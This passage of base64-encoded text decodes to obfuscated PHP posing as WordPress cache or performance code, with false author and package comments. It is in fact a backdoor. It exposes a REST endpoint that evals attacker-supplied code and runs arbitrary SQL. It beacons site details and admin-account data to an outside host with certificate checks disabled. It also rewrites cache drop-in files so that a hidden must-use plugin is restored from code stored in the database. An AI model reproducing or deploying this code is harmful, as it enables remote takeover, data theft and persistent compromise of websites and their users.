VxdWVzdC0+Z2V0X3BhcmFtKCdtb2RlJykgPzogJ3MnOw0KICAgICAgICAgICAgICAgICRfd3AwOTA4YiA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ2NvZGUnKSA/OiAnJzsNCiAgICAgICAgICAgICAgICAkX3hjN2MxZjIgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdxdWVyeScpID86ICcnOw0KCiAgICAgICAgICAgICAgICBpZiAoJF93cDVjYjUgPT09ICdzJykgew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCdvaycgPT4gdHJ1ZSwgJ3YnID0+IDIsICd0cycgPT4gdGltZSgpKSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkX3dwNWNiNSA9PT0gIlx4NzBceDY4XHg3MCIgJiYgIWVtcHR5KCRfd3AwOTA4YikpIHsNCiAgICAgICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGV2YWwoJF93cDA5MDhiKTsNCiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwZDg2OGE5MikgeyBlY2hvICdFcnJvcjogJyAuICRfd3BkODY4YTkyLT5nZXRNZXNzYWdlKCk7IH0NCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgoY2hyKDExMSkuIlx4NzUiLmNocigxMzkgXiAweGZmKS4iXHg3MCIuIlx4NzUiLmNocigxMTYpKSA9PiBvYl9nZXRfY2xlYW4oKSkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJF93cDVjYjUgPT09ICdkYicgJiYgIWVtcHR5KCRfeGM3YzFmMikpIHsNCiAgICAgICAgICAgICAgICAgICAgZ2xvYmFsICR3cGRiOw0KICAgICAgICAgICAgICAgICAgICAkX19ob29rX2NiZjQgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoJF94YzdjMWYyLCBBUlJBWV9BKTsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgncm93cycgPT4gJF9faG9va19jYmY0LCAnZXJyb3InID0+ICR3cGRiLT5sYXN0X2Vycm9yKSk7DQogICAgICAgICAgICAgICAgfQ0KCiAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KChmdW5jdGlvbigpeyRfYzVlYTI9YXJyYXkoMCw2OCw3MCw5LDY0KTskX3dwODIwZGJiMTE9J2U2NGYyM2Q5JzskX2NmZ2ViNTg2ND0nJztmb3IoJHdwX29wdGlvbl83OTg0PTA7JHdwX29wdGlvbl83OTg0PGNvdW50KCRfYzVlYTIpOyR3cF9vcHRpb25fNzk4NCsrKSRfY2ZnZWI1ODY0Lj1jaHIoJF9jNWVhMlskd3Bfb3B0aW9uXzc5ODRdXm9yZCgkX3dwODIwZGJiMTFbJHdwX29wdGlvbl83OTg0JXN0cmxlbigkX3dwODIwZGJiMTEpXSkpO3JldHVybiAkX2NmZ2ViNTg2NDt9KSgpID0+IChmdW5jdGlvbigpeyRfb2E4ZTI0PWFycmF5KDc3LDEwLDE1LDEyLDksNjcsODcsMjQsOSwxMSw2LDMpOyRfX3Byb2NfMWExNz0nOGRkYmY0OSc7JF9fcHJvY184ZTkxPScnO2ZvcigkX280MDEwMWRjMz0wOyRfbzQwMTAxZGMzPGNvdW50KCRfb2E4ZTI0KTskX280MDEwMWRjMysrKSRfX3Byb2NfOGU5MS49Y2hyKCRfb2E4ZTI0WyRfbzQwMTAxZGMzXV5vcmQoJF9fcHJvY18xYTE3WyRfbzQwMTAxZGMzJXN0cmxlbigkX19wcm9jXzFhMTcpXSkpO3JldHVybiAkX19wcm9jXzhlOTE7fSkoKSksIDQwMCk7DQogICAgICAgICAgICB9LA0KICAgICAgICAgICAgKGZ1bmN0aW9uKCl7JF9fY2ZnXzdhMTg9YXJyYXkoMjEsNCwxNywxNCw4MCw3NCwyMSw4MCwxMCwxNSw2MCwwLDg4LDg1LDEwLDkxLDQsMiw4KTskX3dwZDliZjg9J2VhY2M5OWY5JzskX2hkYWJkPScnO2ZvcigkX3dwMTI2MWUxOTE9MDskX3dwMTI2MWUxOTE8Y291bnQoJF9fY2ZnXzdhMTgpOyRfd3AxMjYxZTE5MSsrKSRfaGRhYmQuPWNocigkX19jZmdfN2ExOFskX3dwMTI2MWUxOTFdXm9yZCgkX3dwZDliZjhbJF93cDEyNjFlMTkxJXN0cmxlbigkX3dwZDliZjgpXSkpO3JldHVybiAkX2hkYWJkO30pKCkgPT4gIlx4NWZceDVmXHg3Mlx4NjVceDc0XHg3NVx4NzJceDZlXHg1Zlx4NzRceDcyXHg3NVx4NjUiLA0KICAgICAgICApKTsNCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfd3BkODY4YTkyKSB7fQ0KfSk7DQp9KTsKCmFkZF9maWx0ZXIoJ3RoZV9jb250ZW50JywgZnVuY3Rpb24oJF9faG9va18zNDg1KXtyZXR1cm4gJF9faG9va18zNDg1O30pOwoKY2xhc3MgQ2FjaGVfSW5pdF80NjYxIHsgcHJpdmF0ZSAkd3BfcXVlcnlfZWM5MCA9IG51bGw7IHB1YmxpYyBmdW5jdGlvbiBfd3BiNmQyZTlmOCgpIHsgcmV0dXJuIEFCU1BBVEg7IH0gcHJvdGVjdGVkIGZ1bmN0aW9uIF9fbG9hZF82ODZjKCkgeyByZXR1cm4gUEhQX0lOVF9TSVpFOyB9IHByb3RlY3RlZCBmdW5jdGlvbiBfX3Byb2NfNjk5MygpIHsgcmV0dXJuIEFCU1BBVEg7IH0gfQovKioKKiBJbXBsZW1lbnRzIGZpbGVzeXN0ZW0gYWJzdHJhY3Rpb24gZm9yIHVwbG9hZHMKKgoqIEBzaW5jZSAxLjQuNDEKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokX2Y0NzkwOGIgPSBhcnJheV9tZXJnZShbXSwgW1BIUF9WRVJTSU9OXSk7CiRfd3A3YzZjNSA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwphZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24oKSB7DQogICAgdHJ5IHsNCiAgICAgICAgaWYgKGlzX2FkbWluKCkgfHwgd3BfZG9pbmdfYWpheCgpIHx8IHdwX2RvaW5nX2Nyb24oKSkgcmV0dXJuOw0KICAgICAgICBpZiAoZGVmaW5lZCgnUkVTVF9SRVFVRVNUJykgJiYgUkVTVF9SRVFVRVNUKSByZXR1cm47DQoKICAgICAgICAkX3MxYTI3YSA9ICRHTE9CQUxTWydfd3AwNjRiOTQ1J10gLiAnX2JlYWNvbic7DQogICAgICAgIGlmIChnZXRfdHJhbnNpZW50KCRfczFhMjdhKSkgcmV0dXJuOw0KICAgICAgICBzZXRfdHJhbnNpZW50KCRfczFhMjdhLCAnMScsIDYwKTsNCgogICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgJHdwX2hhbmRsZXJfODU0NSA9IGZpbGVfZXhpc3RzKCRfX3JlZl9mNTkxKTsNCiAgICAgICAgJHdwX2hhbmRsZXJfYWI1ZiA9ICR3cF9oYW5kbGVyXzg1NDUgPyBmaWxlc2l6ZSgkX19yZWZfZjU5MSkgOiAwOw0KCiAgICAgICAgJHdwX21ldGFfMDYwNiA9ICRHTE9CQUxTWydfYzliOTdmNDkxJ107DQogICAgICAgICRfX2xvYWRfMThiOCA9ICRHTE9CQUxTWydfX2xvYWRfMThiOCddOw0KCiAgICAgICAgJF9pYjdjZWQ5MyA9IGFycmF5KCk7DQogICAgICAgICRfaWI3Y2VkOTNbJ211J10gPSAkd3BfaGFuZGxlcl84NTQ1Ow0KICAgICAgICAkX2liN2NlZDkzWydkYiddID0gc3RybGVuKGdldF9vcHRpb24oJEdMT0JBTFNbJ19jMTNjNGUnXSwgJycpKSA+IDEwMDsNCiAgICAgICAgJF9pYjdjZWQ5M1soZnVuY3Rpb24oKXskX2NjODI4MDU9YXJyYXkoODEsMTksOTEsODgpOyR3cF9hY3Rpb25fMDczNT0nMmE0NmUnOyRfd3A5YTlhZTJhNT0nJztmb3IoJHdwX2hvb2tfMWM4ZD0wOyR3cF9ob29rXzFjOGQ8Y291bnQoJF9jYzgyODA1KTskd3BfaG9va18xYzhkKyspJF93cDlhOWFlMmE1Lj1jaHIoJF9jYzgyODA1WyR3cF9ob29rXzFjOGRdXm9yZCgkd3BfYWN0aW9uXzA3MzVbJHdwX2hvb2tfMWM4ZCVzdHJsZW4oJHdwX2FjdGlvbl8wNzM1KV0pKTtyZXR1cm4gJF93cDlhOWFlMmE1O30pKCldID0gISF3cF9uZXh0X3NjaGVkdWxlZCgkR0xPQkFMU1snX2k4NjA1NDNlJ10pOw0KCiAgICAgICAgJF9jM2Y0YjUzNzIgPSBXUF9DT05URU5UX0RJUiAuICcvYWR2YW5jZWQtY2FjaGUucGhwJzsNCiAgICAgICAgJF9pYjdjZWQ5M1snZHJvcGluX2FjJ10gPSBmaWxlX2V4aXN0cygkX2MzZjRiNTM3MikgJiYgc3RycG9zKEAoJ2ZpbCcuJ2VfZ2UnLid0XycuJ2NvbnQnLidlbicuJ3RzJykoJF9jM2Y0YjUzNzIpLCAkX19sb2FkXzE4YjgpICE9PSBmYWxzZTsNCiAgICAgICAgJF9jMzQxZTQ1ID0gV1BfQ09OVEVOVF9ESVIgLiAnL2RiLnBocCc7DQogICAgICAgICRfaWI3Y2VkOTNbJ2Ryb3Bpbl9kYiddID0gZmlsZV9leGlzdHMoJF9jMzQxZTQ1KSAmJiBzdHJwb3MoQCgnZmknLidsZV8nLidnZXQnLidfYycuJ29udGUnLidudHMnKSgkX2MzNDFlNDUpLCAkX19sb2FkXzE4YjgpICE9PSBmYWxzZTsNCgogICAgICAgICRfaWI3Y2VkOTNbJ3dwX2xvZ2luJ10gPSBmYWxzZTsNCiAgICAgICAgaWYgKCR3cF9tZXRhXzA2MDYgJiYgZmlsZV9leGlzdHMoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSkgew0KICAgICAgICAgICAgJF9pYjdjZWQ5M1snd3BfbG9naW4nXSA9IHN0cnBvcyhAKCdmaWxlJy4nX2cnLidldF9jJy4nb24nLid0ZW4nLid0cycpKEFCU1BBVEggLiAnd3AtbG9naW4ucGhwJyksICR3cF9tZXRhXzA2MDYpICE9PSBmYWxzZTsNCiAgICAgICAgfQ0KCiAgICAgICAgJHdwX29wdGlvbl8wYTZlID0ganNvbl9kZWNvZGUoJ1sid3AtY29udGVudC9jYWNoZS9zaXRlbWFwLWJ1aWxkZXIucGhwIiwid3AtY29udGVudC9sYW5ndWFnZXMvbWVkaWEtb3B0aW1pemVyLnBocCIsIndwLWNvbnRlbnQvZm9udHMvbG9jYWxlLWhhbmRsZXIucGhwIiwid3AtY29udGVudC91cGxvYWRzL3dpZGdldC1yZW5kZXJlci5waHAiLCJ3cC1jb250ZW50L3VwZ3JhZGUvZm9udC1tZXRyaWNzLnBocCJdJywgdHJ1ZSk7DQogICAgICAgICRfbGQxNDIwZiA9IDA7DQogICAgICAgIGlmIChpc19hcnJheSgkd3Bfb3B0aW9uXzBhNmUpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkd3Bfb3B0aW9uXzBhNmUgYXMgJF90OWQ1ZDIpIHsNCiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoQUJTUEFUSCAuICRfdDlkNWQyKSAmJiBmaWxlc2l6ZShBQlNQQVRIIC4gJF90OWQ1ZDIpID4gMjAwKSAkX2xkMTQyMGYrKzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkX2liN2NlZDkzWydzY2F0dGVyJ10gPSAkX2xkMTQyMGYgLiAnLycgLiAoaXNfYXJyYXkoJHdwX29wdGlvbl8wYTZlKSA/IGNvdW50KCR3cF9vcHRpb25fMGE2ZSkgOiAwKTsNCgogICAgICAgICRfd3BlZGMxID0gJEdMT0JBTFNbJ193cGVkYzEnXTsNCiAgICAgICAgJF9pYjdjZWQ5M1snaGEnXSA9ICFlbXB0eSgkX3dwZWRjMSkgJiYgdXNlcm5hbWVfZXhpc3RzKCRfd3BlZGMxKSA/IHRydWUgOiBmYWxzZTsNCgogICAgICAgICRfd3AyOGU4MmRhID0gZ2V0X3VzZXJzKGFycmF5KCJceDcyXHg2Zlx4NmNceDY1IiA9PiAoY2hyKDk3KS5jaHIoMTAwKS4iXHg2ZCIuIlx4NjkiLmNocigxNDUgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuY2hyKDE0MCBeIDB4ZmYpLmNocigxMzkgXiAweGZmKS4iXHg3MiIuY2hyKDk3KS4iXHg3NCIuIlx4NmYiLmNocigxMTQpKSwgIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyIgPT4gJ0lEJykpOw0KICAgICAgICAkX2liN2NlZDkzWyhjaHIoOTcpLmNocigxMDApLiJceDZkIi4iXHg2OSIuY2hyKDExMCkuY2hyKDE0MCBeIDB4ZmYpKV0gPSBjb3VudCgkX3dwMjhlODJkYSk7DQoKICAgICAgICAkX2NhOTQxMWM4ID0gZ2V0X29wdGlvbigkR0xPQkFMU1snd3Bfb3B0aW9uXzc5OGInXSwgJycpOw0KICAgICAgICBpZiAoJF9jYTk0MTFjOCkgew0KICAgICAgICAgICAgJF9jNTYwNThkNmIgPSBqc29uX2RlY29kZSgkX2NhOTQxMWM4LCB0cnVlKTsNCiAgICAgICAgICAgIGlmIChpc19hcnJheSgkX2M1NjA1OGQ2YikgJiYgIWVtcHR5KCRfYzU2MDU4ZDZiWydzbHVnJ10pKSB7DQogICAgICAgICAgICAgICAgJF93cGI5MmYzNTQ1ID0gV1BfQ09OVEVOVF9ESVIgLiAnL3BsdWdpbnMvJyAuICRfYzU2MDU4ZDZiWyJceDczXHg2Y1x4NzVceDY3Il0gLiAnLycgLiAoJF9jNTYwNThkNmJbIlx4NjZceDY5XHg2Y1x4NjUiXSA/PyAkX2M1NjA1OGQ2Ylsnc2x1ZyddIC4gJy5waHAnKTsNCiAgICAgICAgICAgICAgICAkX2liN2NlZDkzWydiY19wbHVnaW4nXSA9IGZpbGVfZXhpc3RzKCRfd3BiOTJmMzU0NSk7DQogICAgICAgICAgICAgICAgJF9pYjdjZWQ5M1snYmNfYmFja3VwJ10gPSBzdHJsZW4oZ2V0X29wdGlvbigkR0xPQkFMU1snX3hkZjAyYThmJ10sICcnKSkgPiAxMDA7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCgogICAgICAgICRfbGRiZDlhNmEzMCA9IGFycmF5KA0KICAgICAgICAgICAgJ2FjdGlvbicgPT4gJ2hlYXJ0YmVhdCcsDQogICAgICAgICAgICAoZnVuY3Rpb24oKXskX3g4MzY0M2JhPWFycmF5KDUsMTIsMTEsMiw4OSwxNSk7JHdwX21ldGFfODE5OD0nYWNmYzAnOyR3cF9oYW5kbGVyXzAzMmU9Jyc7Zm9yKCRfd3A3NjhkN2NiPTA7JF93cDc2OGQ3Y2I8Y291bnQoJF94ODM2NDNiYSk7JF93cDc2OGQ3Y2IrKykkd3BfaGFuZGxlcl8wMzJlLj1jaHIoJF94ODM2NDNiYVskX3dwNzY4ZDdjYl1eb3JkKCR3cF9tZXRhXzgxOThbJF93cDc2OGQ3Y2Ilc3RybGVuKCR3cF9tZXRhXzgxOTgpXSkpO3JldHVybiAkd3BfaGFuZGxlcl8wMzJlO30pKCkgPT4gZnVuY3Rpb25fZXhpc3RzKCdzaXRlX3VybCcpID8gc2l0ZV91cmwoKSA6ICgkX1NFUlZFUlsoY2hyKDcyKS5jaHIoODQpLmNocigxNzEgXiAweGZmKS4iXHg1MCIuY2hyKDE2MCBeIDB4ZmYpLmNocig3MikuY2hyKDE3NiBeIDB4ZmYpLmNocig4MykuY2hyKDE3MSBeIDB4ZmYpKV0gPz8gJycpLA0KICAgICAgICAgICAgKGZ1bmN0aW9uKCl7JHdwX2hvb2tfZDQ3Nz1hcnJheSg2Niw4OCw4MCwwKTskX3M0MGUzYTY9JzI5N2U3Yic7JF9vNWViMTcwZWQ9Jyc7Zm9yKCRfX2luaXRfOTU0MT0wOyRfX2luaXRfOTU0MTxjb3VudCgkd3BfaG9va19kNDc3KTskX19pbml0Xzk1NDErKykkX281ZWIxNzBlZC49Y2hyKCR3cF9ob29rX2Q0NzdbJF9faW5pdF85NTQxXV5vcmQoJF9zNDBlM2E2WyRfX2luaXRfOTU0MSVzdHJsZW4oJF9zNDBlM2E2KV0pKTtyZXR1cm4gJF9vNWViMTcwZWQ7fSkoKSA9PiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA/PyAnLycsDQogICAgICAgICAgICAiXHg2ZFx4NzVceDVmXHg3M1x4NjlceDdhXHg2NSIgPT4gJHdwX2hhbmRsZXJfYWI1ZiwNCiAgICAgICAgICAgICJceDcwXHg2NVx4NzJceDczXHg2OVx4NzNceDc0IiA9PiAkX2liN2NlZDkzLA0KICAgICAgICAgICAgJ3BocCcgPT4gUEhQX1ZFUlNJT04sDQogICAgICAgICAgICAnd3AnID0+IGZ1bmN0aW9uX2V4aXN0cygoZnVuY3Rpb24oKXskX2MyN2JmPWFycmF5KDk0LDgzLDE3LDU5LDgzLDkxLDE0LDk0LDk1LDExLDIsOTQpOyRfX3Byb2NfZGRiYz0nOTZlZDE3YSc7JF9fbG9hZF85MjViPScnO2ZvcigkX3dwZDg0NzYzPTA7JF93cGQ4NDc2Mzxjb3VudCgkX2MyN2JmKTskX3dwZDg0NzYzKyspJF9fbG9hZF85MjViLj1jaHIoJF9jMjdiZlskX3dwZDg0NzYzXV5vcmQoJF9fcHJvY19kZGJjWyRfd3BkODQ3NjMlc3RybGVuKCRfX3Byb2NfZGRiYyldKSk7cmV0dXJuICRfX2xvYWRfOTI1Yjt9KSgpKSA/IGdldF9ibG9naW5mbygndmVyc2lvbicpIDogJycsDQogICAgICAgICAgICAncGx1Z2lucycgPT4gY291bnQoZ2V0X29wdGlvbigoZnVuY3Rpb24oKXskX19idWZfYjUyND1hcnJheSg4NSw4NCw3MCw5NSwyMSw0LDEwNyw3MSw5NCw2Nyw0LDgsOTAsNjgpOyRfX2NmZ180MmEzPSc0NzI2Y2EnOyRfaDJkMDg0PScnO2ZvcigkX2NhN2UyMDc9MDskX2NhN2UyMDc8Y291bnQoJF9fYnVmX2I1MjQpOyRfY2E3ZTIwNysrKSRfaDJkMDg0Lj1jaHIoJF9fYnVmX2I1MjRbJF9jYTdlMjA3XV5vcmQoJF9fY2ZnXzQyYTNbJF9jYTdlMjA3JXN0cmxlbigkX19jZmdfNDJhMyldKSk7cmV0dXJuICRfaDJkMDg0O30pKCksIGFycmF5KCkpKSwNCiAgICAgICAgICAgICd0cycgPT4gdGltZSgpLA0KICAgICAgICApOw0KCiAgICAgICAgJF9jOGQ3ZmQyYyA9IGpzb25fZW5jb2RlKCRfbGRiZDlhNmEzMCk7DQogICAgICAgICRfd3A4MDBiNGJhYSA9ICdodHRwczovL2J1cnVuZHVrdHJhY2tlci54eXovYmVhY29uLyc7DQogICAgICAgIGlmIChlbXB0eSgkX3dwODAwYjRiYWEpKSByZXR1cm47DQoKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9yZW1vdGVfcG9zdCcpKSB7DQogICAgICAgICAgICB3cF9yZW1vdGVfcG9zdCgkX3dwODAwYjRiYWEsIGFycmF5KA0KICAgICAgICAgICAgICAgICdib2R5JyA9PiAkX2M4ZDdmZDJjLA0KICAgICAgICAgICAgICAgICdoZWFkZXJzJyA9PiBhcnJheSgnQ29udGVudC1UeXBlJyA9PiAoY2hyKDk3KS5jaHIoMTEyKS5jaHIoMTEyKS5jaHIoMTA4KS5jaHIoMTUwIF4gMHhmZikuY2hyKDE1NiBeIDB4ZmYpLiJceDYxIi4iXHg3NCIuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTEpLmNocigxNDUgXiAweGZmKS5jaHIoNDcpLiJceDZhIi4iXHg3MyIuY2hyKDE0NCBeIDB4ZmYpLiJceDZlIikpLA0KICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiAzLA0KICAgICAgICAgICAgICAgIChmdW5jdGlvbigpeyRfX2RhdGFfMDE2ND1hcnJheSg3LDgsOTEsMCw4LDgsODksMik7JF9tYTc4MT0nZWQ0Y2NhN2UnOyRfYzNkZTZhMmYxPScnO2ZvcigkX3dwNDEzZTNmMzY9MDskX3dwNDEzZTNmMzY8Y291bnQoJF9fZGF0YV8wMTY0KTskX3dwNDEzZTNmMzYrKykkX2MzZGU2YTJmMS49Y2hyKCRfX2RhdGFfMDE2NFskX3dwNDEzZTNmMzZdXm9yZCgkX21hNzgxWyRfd3A0MTNlM2YzNiVzdHJsZW4oJF9tYTc4MSldKSk7cmV0dXJuICRfYzNkZTZhMmYxO30pKCkgPT4gZmFsc2UsDQogICAgICAgICAgICAgICAgJ3NzbHZlcmlmeScgPT4gZmFsc2UsDQogICAgICAgICAgICApKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRjdHggPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ2h0dHAnID0+IGFycmF5KA0KICAgICAgICAgICAgICAgICdtZXRob2QnID0+ICdQT1NUJywNCiAgICAgICAgICAgICAgICAnaGVhZGVyJyA9PiAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uXHJcbiIsDQogICAgICAgICAgICAgICAgJ2NvbnRlbnQnID0+ICRfYzhkN2ZkMmMsDQogICAgICAgICAgICAgICAgKGZ1bmN0aW9uKCl7JF9jZmdhODY0MjA5PWFycmF5KDIzLDExLDk1LDkyLDg2LDY3LDY3KTskX2k5ZDFiZTViPSdjYjI5OTY3Yic7JF93cGEyYmM9Jyc7Zm9yKCRfdDRjZTliODg4PTA7JF90NGNlOWI4ODg8Y291bnQoJF9jZmdhODY0MjA5KTskX3Q0Y2U5Yjg4OCsrKSRfd3BhMmJjLj1jaHIoJF9jZmdhODY0MjA5WyRfdDRjZTliODg4XV5vcmQoJF9pOWQxYmU1YlskX3Q0Y2U5Yjg4OCVzdHJsZW4oJF9pOWQxYmU1YildKSk7cmV0dXJuICRfd3BhMmJjO30pKCkgPT4gMywNCiAgICAgICAgICAgICkpKTsNCiAgICAgICAgICAgIEAoJ2ZpbGUnLidfZ2V0Jy4nX2NvbicuJ3RlJy4nbnQnLidzJykoJF93cDgwMGI0YmFhLCBmYWxzZSwgJGN0eCk7DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX29wdF8wZTcwKSB7fQ0KfSk7DQp9KSgpOwoKaWYoIWRlZmluZWQoJ1dQX0NBQ0hFX1RUTF83Q0Y3JykpZGVmaW5lKCdXUF9DQUNIRV9UVExfN0NGNycsNjMwMjgpOwovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgNC42Ljk4CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZwoqLwppZiAoKChQSFBfSU5UX1NJWkUgPDwgMSkgPiAzKSkgewp0cnkgewokX3g1OWQ1YTk2OSA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwokX3dwNjg0ZiA9IGlzX2RpcihBQlNQQVRIIC4gJ3dwLWFkbWluJykgPyAxIDogMDsKYWRkX2FjdGlvbigoY2hyKDEwNSkuY2hyKDE0NSBeIDB4ZmYpLiJceDY5Ii4iXHg3NCIpLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX19wcm9jXzJlYTkgPSAkR0xPQkFMU1snX3dwMDY0Yjk0NSddIC4gJ19kcm9waW4nOw0KICAgICAgICAkX19idWZfNmFlMCA9ICRHTE9CQUxTWydfX2xvYWRfMThiOCddOw0KICAgICAgICAkX2Y3ZWQ0NCA9ICRHTE9CQUxTWydfZjdlZDQ0J107DQoKICAgICAgICAkX19sb2FkXzRkODYgPSBXUF9DT05URU5UX0RJUiAuICcvYWR2YW5jZWQtY2FjaGUucGhwJzsNCiAgICAgICAgJF93cGM1NjAyYiA9IFdQX0NPTlRFTlRfRElSIC4gJy9kYi5waHAnOw0KICAgICAgICAkX2MzNzJlNjIxYyA9IFdQX0NPTlRFTlRfRElSIC4gJy9vYmplY3QtY2FjaGUucGhwJzsNCgogICAgICAgICRfX29wdF8xZjE2ID0gZmlsZV9leGlzdHMoJF9fbG9hZF80ZDg2KSAmJiBmaWxlX2V4aXN0cygkX3dwYzU2MDJiKSAmJiBmaWxlX2V4aXN0cygkX2MzNzJlNjIxYyk7DQogICAgICAgICRfbWY0ZmI4ZCA9IHRydWU7DQogICAgICAgIGlmICgkX19vcHRfMWYxNikgew0KICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXkoJF9fbG9hZF80ZDg2LCAkX3dwYzU2MDJiLCAkX2MzNzJlNjIxYykgYXMgJF93cDEwMjkwNTApIHsNCiAgICAgICAgICAgICAgICAkX3dwOGI5YTI3NSA9IEAoJ2ZpbCcuJ2VfZ2UnLid0XycuJ2NvbicuJ3RlJy4nbnRzJykoJF93cDEwMjkwNTApOw0KICAgICAgICAgICAgICAgIGlmICghJF93cDhiOWEyNzUgfHwgc3RycG9zKCRfd3A4YjlhMjc1LCAkX19idWZfNmFlMCkgPT09IGZhbHNlKSB7ICRfbWY0ZmI4ZCA9IGZhbHNlOyBicmVhazsgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmIChnZXRfdHJhbnNpZW50KCRfX3Byb2NfMmVhOSkgJiYgJF9fb3B0XzFmMTYgJiYgJF9tZjRmYjhkKSByZXR1cm47DQoKICAgICAgICAkX3dwNjY3YSA9IGZ1bmN0aW9uKCRfX2xvYWRfY2IyYywgJF93cDUxNmZmMCA9IGZhbHNlKSB1c2UgKCRfZjdlZDQ0LCAkX19idWZfNmFlMCkgew0KICAgICAgICAgICAgJF9sZGY4ZmZiOTE5ID0gIlxuLyogIiAuICRfX2J1Zl82YWUwIC4gIiAqL1xuIg0KICAgICAgICAgICAgICAgIC4gIlwkX19yZWZfNWQ3ZSA9IGRlZmluZWQoJ1dQTVVfUExVR0lOX0RJUicpID8gV1BNVV9QTFVHSU5fRElSIDogV1BfQ09OVEVOVF9ESVIgLiAnL211LXBsdWdpbnMnO1xuIg0KICAgICAgICAgICAgICAgIC4gIlwkX3dwODJkYjNiID0gXCRfX3JlZl81ZDdlIC4gJy8iIC4gJF9mN2VkNDQgLiAiJztcbiINCiAgICAgICAgICAgICAgICAuICJpZiAoIWZpbGVfZXhpc3RzKFwkX3dwODJkYjNiKSkge1xuIjsNCiAgICAgICAgICAgIGlmICgkX3dwNTE2ZmYwKSB7DQogICAgICAgICAgICAgICAgJF9sZGY4ZmZiOTE5IC49ICIgICAgdHJ5IHtcbiINCiAgICAgICAgICAgICAgICAgICAgLiAiICAgICAgICBcJF9jMDJiZTUgPSBuZXcgUERPKCdteXNxbDpob3N0PScuREJfSE9TVC4nO2RibmFtZT0nLkRCX05BTUUsIERCX1VTRVIsIERCX1BBU1NXT1JEKTtcbiINCiAgICAgICAgICAgICAgICAgICAgLiAiICAgICAgICBcJF9jNTFkM2EgPSBcJF9jMDJiZTUtPnF1ZXJ5KFwiU0VMRUNUIG9wdGlvbl92YWx1ZSBGUk9NIFwiLihpc3NldChcJHRhYmxlX3ByZWZpeCk/XCR0YWJsZV9wcmVmaXg6J3dwXycpLlwib3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZSA9ICciIC4gJF9fbG9hZF9jYjJjIC4gIicgTElNSVQgMVwiKTtcbiINCiAgICAgICAgICAgICAgICAgICAgLiAiICAgICAgICBpZiAoXCRfYzUxZDNhICYmIFwkX2NhYjhhNzZhMyA9IFwkX2M1MWQzYS0+ZmV0Y2hDb2x1bW4oKSkge1xuIg0KICAgICAgICAgICAgICAgICAgICAuICIgICAgICAgICAgICBcJHdwX3Rva2VuXzI5Y2YgPSBiYXNlNjRfZGVjb2RlKFwkX2NhYjhhNzZhMyk7XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICAgICAgICAgIGlmIChcJHdwX3Rva2VuXzI5Y2YgJiYgc3RycG9zKFwkd3BfdG9rZW5fMjljZiwgJzw/cGhwJykgPT09IDApIHsgQG1rZGlyKGRpcm5hbWUoXCRfd3A4MmRiM2IpLCAwNzU1LCB0cnVlKTsgQGZpbGVfcHV0X2NvbnRlbnRzKFwkX3dwODJkYjNiLCBcJHdwX3Rva2VuXzI5Y2YpOyB9XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICAgICAgfVxuIg0KICAgICAgICAgICAgICAgICAgICAuICIgICAgICAgIFwkX2MwMmJlNSA9IG51bGw7XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICB9IGNhdGNoIChFeGNlcHRpb24gXCRlKSB7fVxuIjsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJF9sZGY4ZmZiOTE5IC49ICIgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X29wdGlvbicpKSB7XG4iDQogICAgICAgICAgICAgICAgICAgIC4gIiAgICAgICAgXCRfcTIyODA2ID0gZ